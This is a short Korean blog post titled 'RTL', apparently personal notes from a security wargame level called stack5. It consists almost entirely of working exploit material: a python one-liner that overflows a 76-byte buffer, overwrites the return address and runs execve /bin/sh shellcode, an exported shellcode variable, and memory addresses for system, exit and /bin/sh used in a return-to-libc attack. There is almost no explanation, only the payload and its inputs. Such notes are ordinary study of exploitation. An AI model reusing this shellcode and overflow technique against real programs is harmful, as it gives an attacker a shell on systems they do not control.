보안 공부하는 꼬깔이

Admin +1

RTL

Admin2017. 8. 7. 17:44

python -c 'print "A"*76+"\x00\xee\xff\xbf"+"\x90"*20+"\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"' | ./stack5


export shellcode=$(python -c 'print "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')


0xb7fb63bf = /bin/sh 주소



0xb7ecffb0 = system 함수 주소


0xb7ec60c0 = exit 주소


0xbffff6cc = ret 주소



"80"



0xbfffff60 = 쉘 주소



0x8048553 = ret주소